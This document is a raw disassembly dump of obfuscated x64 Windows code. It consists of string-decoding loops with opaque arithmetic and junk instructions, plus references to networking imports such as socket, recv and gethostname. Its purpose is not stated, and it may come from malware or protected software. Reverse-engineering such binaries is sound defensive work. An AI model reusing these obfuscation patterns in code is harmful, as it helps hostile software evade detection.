mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
jmp 0x14007c8d0
movabs r10, 0xa57c3efabb449a4c
add r10, rsi
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x14
add r10b, dil
inc r9
dec rsi
inc rsi
jmp 0x14007c832
movabs rdx, 0x315efd73158ab748
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
dec rsi
inc rsi
jmp 0x14007c832
movabs rdx, 0x49247a63ca16f140
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007c832
movabs rdx, 0x60e9f7547ea32b38
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
jmp 0x14007d11b
movabs rcx, 0x78af7445332f6530
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x50
movzx eax, byte [rbp + rsi + 0xc80]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007c832
movabs rcx, 0x62490eea6f24caa2
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x6e
add r10b, cl
cmp r9, 0x5a
jb 0x14007d0ae
movabs rdx, 0x21d40e06040839cc
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x28]
jmp 0x14007d211
movabs r10, 0x7a0e8bdb23b1049a
add r10, rsi
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x36
add r10b, dil
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x14007d0ef
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14007ce9d
movabs rdx, 0x557c4ea93ea58bfa
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
cmp r8, 3
jae 0x14007d0be
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14007cfdf
movabs rcx, 0x98af7eb98ac55ba4
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x7c
jmp 0x14007cb7f
movabs rdx, 0x93332061c8beddfc
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, byte [rbp + rsi + 0xc80]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007c832
movabs rdx, 0xaaf89d527d4b17f4
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
jmp 0x14007d11b
movabs rdx, 0x36db5bcad79134f0
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x14007d2d6
movabs rdx, 0x4ea0d8bb8c1d6ee8
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 0x58
add r10b, dl
jmp 0x14007d27c
movabs rcx, 0x666655ac40a9a8e0
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x20
inc r9
dec rsi
inc rsi
jmp 0x14007c832
movabs rdx, 0xf24914249aefc5dc
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx r10d, dil
sub r10b, al
sub r10b, 4
jmp 0x14007d20e
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x14007cd7a
lea rdx, [rsi + r13]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14007cbd0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007cdb9
movabs rcx, 0x86666020983f9f54
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r10d, [rcx + rdi]
sub r10b, 0x4c
movzx eax, byte [rbp + rsi + 0xc80]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007c832
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007cde5
movabs rdx, 0x6ea0e32fe3b3655c
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14007d115
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007ce27
movabs rdx, 0xe2be24b7896d4860
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007c832
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007ce6c
movabs rdx, 0x56db663f2f272b64
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007c832
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14007cbd3
movabs rcx, 0x27506c5dc60eb774
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x2c
jmp 0x14007d211
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007cecf
movabs rdx, 0xc9999030e45f6efe
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x14007d211
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007cf02
movabs rcx, 0xb1d413402fd33506
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x2a
dec rsi
inc rsi
jmp 0x14007c832
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007cf2f
movabs rcx, 0x25f154c7d58d180a
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x46
jmp 0x14007d27c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007cf6c
movabs rcx, 0xe2bd7d72100de12
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x7e
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007c832
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007cf98
movabs rdx, 0x8249195ec6bac116
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14007d115
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007cc12
movabs rdx, 0x6a839c6e122e871e
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movzx eax, byte [rbp + rsi + 0xc80]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007c832
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14007d022
movabs rdx, 0xcccc041307f3ea8
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movzx eax, byte [rbp + rsi + 0xc80]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007c832
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007d04e
movabs rdx, 0xf50743507bf304b0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x14007d115
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14007d07d
movabs rdx, 0x692484d821ace7b4
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
jmp 0x14007d2d6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007cb7f
movabs rcx, 0x515f07e76d20adbc
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x24
jmp 0x14007d27c
mov byte [rbp + rsi + 0xc80], r10b
inc rsi
jmp 0x14007c832
movabs rdx, 0x95f14f8da9c21cd0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rsi + 0xc80]
add r10b, dl
add r10b, dil
jmp 0x14007d27c
movabs rdx, 0xa0e91154f7bffd4
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rsi + 0xc80]
add r10b, dl
add r10b, dil
movabs rcx, 0xc41d31d92258f156
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x5a
add cl, dil
movzx eax, cl
mov byte [rbp + rsi + 0xc80], al
inc r9
add rax, r9
sub rsi, rax
jmp 0x14007d310
movabs rdx, 0x583a7dd51fa8cace
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movzx eax, byte [rbp + rsi + 0xc80]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007c832
movabs rcx, 0xfbe2b93e2e7b21c2
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x4e
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007c832
movabs rdx, 0x9f8af4a73d4d78b6
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
dec rsi
inc rsi
jmp 0x14007c832
movabs rdx, 0xb7507197f1d9b2ae
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dil
add r10b, dl
movabs rcx, 0xdbe2aec9d6e52b4e
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x22
add cl, dil
mov byte [rbp + rsi + 0xc80], cl
inc r9
dec rsi
inc rsi
jmp 0x14007c832
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x6e
inc r9
dec rsi
inc rsi
jmp 0x14007c832
lea rcx, [rsi + rdx]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x36
movabs rdx, 0x4ffff0517c9f0e52
add rdx, rsi
movzx eax, dl
and al, dil
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x3e
add cl, dl
add cl, dil
mov byte [rbp + rsi + 0xc80], cl
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007c832
lea rdx, [rsi + rbx]
movzx eax, dl
and al, r11b
mov ecx, 1
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007c832
movabs rcx, 0xa24923d31e50b78a
add rcx, rsi
and r11b, cl
mov eax, Ordinal_30
sub al, r11b
lea r10d, [rax + rax]
add r10b, dil
add r10b, cl
movabs rdx, 0x7e2bd29cf535e2d8
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, dil
add cl, dl
mov byte [rbp + rsi + 0xc80], cl
inc r8
mov rax, r12
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0xc80]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007c832
movabs rdx, 0x2e2be24b7896d486
add rdx, rsi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rsi + 0xc80]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007c832
movabs rdx, 0xa99985bc8cc9788a
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x14007c82e
movabs rdx, 0x357c4434e70f9586
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, dil
jmp 0x14007c81c
lea r14, [rbp + 0x1724fd8]
jmp 0x14007d3ff
lea r14, [rbp + 0xcf415a]
jmp 0x14007d3ff
lea r14, [rbp + 0xc80]
lea rdx, [0x140226090]
lea rcx, [rbp + 0x5a8]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x48]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rsi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rsi + 0x38], 0
jne 0x1400a2a12
mov byte [rbp + 0xca8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xca9], 0xcc
mov byte [rbp + 0xcaa], Ordinal_211
mov byte [rbp + 0xcab], 0xcc
mov byte [rbp + 0xcac], 0xf0
mov byte [rbp + 0xcad], Ordinal_211
mov byte [rbp + 0xcae], Ordinal_211
mov byte [rbp + 0xcaf], 0xc9
mov byte [rbp + 0xcb0], Ordinal_211
mov byte [rbp + 0xcb1], WSAGetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcb2], xmm0
mov qword [rbp + 0xcc2], rax
mov byte [rbp + 0xcca], al
movabs r15, 0xa844098c97e076d0
movabs r13, 0x59c25796672f4330
movzx r11d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
movabs rcx, 0x8033d6837fe7f90
cmp rdi, 0x23
jae 0x14007e261
movzx ebx, byte [rbp + rdi + 0xca8]
mov r10, rbx
cmp r8, rdi
ja 0x14007e258
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007d51c
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x10
jmp 0x14007d556
je 0x14007e1c5
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007e12e
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007e0f9
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007e09a
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007e043
cmp r9, rdi
ja 0x14007e24f
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14007d584
lea rdx, [rdi + r15]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007d5c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007e032
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007e009
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007dfd3
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007dfab
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14007dc5b
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007dc37
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007dc0f
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007dbe1
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007dbbc
lea rcx, [r9 + 5]
cmp r8, rcx
je 0x14007db81
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007db4e
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007db27
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14007db00
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007dacc
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14007d5d0
mov r8, rcx
lea r9, [rcx + 0x20]
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x14007e227
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x14007e1ff
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x14007d7d1
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x14007d7aa
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x14007d78c
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x14007da68
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x14007da13
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x14007d9c5
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x14007d992
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x14007d5d0
lea r8, [r9 + 6]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14007d95e
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14007d937
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14007d910
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14007d8dd
lea rcx, [r9 + 0x80]
cmp r8, rcx
ja 0x14007d8ab
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007d886
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14007d858
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14007d827
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14007d803
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007d5d0
mov r8, rcx
lea r9, [rcx + 0x7a]
jmp 0x14007d5d0
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
add r11b, dl
jmp 0x14007d5c0
movabs rdx, 0x49bbdcc5f7324410
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x14007d556
movabs rdx, 0x39b561f5873544f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0x8033d6837fe7f90
jmp 0x14007d4ee
movabs rdx, 0x42204c64bf03b680
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
jmp 0x14007e063
movabs rdx, 0x3219d1944f06b760
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14007d4d2
movabs rdx, 0x221356c3df09b840
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007d4d2
movabs rdx, 0x120cdbf36f0cb920
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007e0b9
movabs rcx, 0x2066122ff0fba00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d4d2
movabs rcx, 0xf1ffe6528f12bae0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d4d2
movabs rdx, 0xe1f96b821f15bbc0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x14007e153
movabs rdx, 0xd1f2f0b1af18bca0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x14007e181
movabs rcx, 0xc1ec75e13f1bbd80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
movzx eax, byte [rbp + rdi + 0xca8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007d4d2
movabs rdx, 0x99dc42d827233fb0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
mov byte [rbp + rdi + 0xca8], r11b
inc rdi
jmp 0x14007d4d2
movabs rdx, 0x89d5c807b7264090
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 0xa
jb 0x14007d9b5
movabs rcx, 0x314a77864f66d360
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x40]
jmp 0x14007e066
movabs rdx, 0x79cf4d3747294170
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x10
add r11b, dl
cmp r8, 0x5a
jae 0x14007df50
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14007de81
movabs rdx, 0x9109ab61ef84dc20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14007d9dc
movabs rdx, 0x69c8d266d72c4250
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x14007df7c
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14007dd75
movabs rdx, 0xe8c5a1d557a46550
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
jmp 0x14007da32
movabs rcx, 0xf198394b8f42c8e0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
movzx eax, byte [rbp + rdi + 0xca8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007d4d2
movabs rdx, 0xe191be7b1f45c9c0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x14007e181
movabs rdx, 0xd18b43aaaf48caa0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x14007e153
movabs rcx, 0xc184c8da3f4bcb80
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d4d2
movabs rdx, 0xb17e4e09cf4ecc60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d4d2
movabs rdx, 0xa177d3395f51cd40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007e0b9
movabs rdx, 0x91715868ef54ce20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007d4d2
movabs rcx, 0x816add987f57cf00
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
inc r9
dec rdi
inc rdi
jmp 0x14007d4d2
movabs rdx, 0x716462c80f5acfe0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x20
jmp 0x14007e063
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x14007dc89
movabs rdx, 0x8033d6837fe7f90
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007da87
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007dcc6
movabs rcx, 0x508813192fc0eda0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
movzx eax, byte [rbp + rdi + 0xca8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007d4d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007dcf6
movabs rdx, 0x709508ba0fbaebe0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x20
add r11b, dl
jmp 0x14007e153
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007dd3a
movabs rdx, 0x90a1fe5aefb4ea20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d4d2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007da8a
movabs rdx, 0xb0aef3fbcfaee860
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007d4d2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007dda2
movabs rdx, 0xf8cc1ca5c7a16470
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x10
jmp 0x14007e063
inc rax
cmp r8, rax
jne 0x14007dddb
movabs rdx, 0x8d29776379e6390
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14007d4d2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007de12
movabs rdx, 0x18d91246a79b62b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007d4d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007de40
movabs rdx, 0x28df8d17179861d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007e0b9
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007da35
movabs rcx, 0x78fff32947895d70
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0xca8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007d4d2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007dec3
movabs rdx, 0xa11026325f81db40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xca8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007d4d2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007def3
movabs rdx, 0xc11d1bd33f7bd980
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x80
add r11b, dl
jmp 0x14007e153
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007df2f
movabs rcx, 0xd12396a3af78d8a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d4d2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007d9e8
movabs rdx, 0x2143fcb5df69d440
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14007e052
movabs rdx, 0x4150f256bf63d280
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xca8]
sub r11b, al
add r11b, 0x80
add r11b, bl
jmp 0x14007e0b9
movabs rdx, 0x51576d272f60d1a0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0xca8]
sub r11b, 0x60
add r11b, dl
jmp 0x14007e153
movabs rdx, 0x1871653fa7cb70b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
